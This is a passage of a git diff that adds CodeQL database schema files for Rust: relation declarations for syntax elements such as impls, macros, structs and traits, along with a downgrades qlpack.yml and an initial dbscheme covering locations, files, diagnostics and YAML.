+impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/qlpack.yml b/rust/downgrades/qlpack.yml new file mode 100644 index 00000000000..5bfaa9be4e5 --- /dev/null +++ b/rust/downgrades/qlpack.yml @@ -0,0 +1,5 @@ +name: codeql/rust-downgrades +groups: rust +downgrades: . +library: true +warnOnImplicitThis: true diff --git a/rust/ql/lib/upgrades/initial/rust.dbscheme b/rust/ql/lib/upgrades/initial/rust.dbscheme new file mode 100644 index 00000000000..256e80c2dce --- /dev/null +++ b/rust/ql/lib/upgrades/initial/rust.dbscheme @@ -0,0 +1,3601 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: 